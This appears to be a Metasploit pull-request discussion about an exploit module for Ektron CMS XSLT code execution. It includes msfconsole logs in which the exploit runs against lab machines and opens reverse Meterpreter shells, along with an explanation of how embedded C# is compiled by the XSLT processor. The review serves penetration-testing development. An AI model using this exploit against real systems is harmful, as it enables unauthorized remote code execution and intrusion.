added c# code by Nicolas Gregoire

[jvazquez-r7]

Used the C# code by Nicolas Gregoire to avoid dropping shellcode to filesystem. See:

https://dev.metasploit.com/redmine/issues/6784

Nicolas credited in the module too.

Test:

msf > use exploit/windows/http/ektron_xslt_exec 
msf  exploit(ektron_xslt_exec) > reload
[*] Reloading module...
msf  exploit(ektron_xslt_exec) > set RHOST 192.168.1.139
RHOST => 192.168.1.139
msf  exploit(ektron_xslt_exec) > check
[+] The target is vulnerable.
msf  exploit(ektron_xslt_exec) > exploit

[*] Started reverse handler on 192.168.1.129:4444 
[*] Generating the EXE Payload and the XSLT...
[*] Trying to run the xslt transformation...
[+] Exploitation was successful
[*] Sending stage (752128 bytes) to 192.168.1.139
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.139:2090) at 2012-12-11 16:32:43 +0100

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit 
[*] Shutting down Meterpreter...

[*] 192.168.1.139 - Meterpreter session 1 closed.  Reason: User exit

[brandonprry]

why not just return fingerprint? fingerpring is already a string...

[schierlm]

you might have missed this is C# code inside a here-document in Ruby code. The #{fingerprint} thing will be replaced by ruby, therefore generating C# code like

return "Blahblah";

which will in turn be compiled by the XSLT processor and rendered into the result XML for verification of successful exploit.

return fingerprint;

at that place will create a stylesheet compilation error as there is no C# variable named fingerprint in this sample code.

[brandonprry]

You are correct, I did.

[wchen-r7]

This will take me some time to verify. I shoulda made a snapshot for this....

[wchen-r7]

tested:

[*] Started reverse handler on 10.0.1.3:4444 
[*] Generating the EXE Payload and the XSLT...
[*] Trying to run the xslt transformation...
[+] Exploitation was successful
[*] Sending stage (752128 bytes) to 10.0.1.10
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.10:1071) at 2012-12-11 12:43:21 -0600

meterpreter >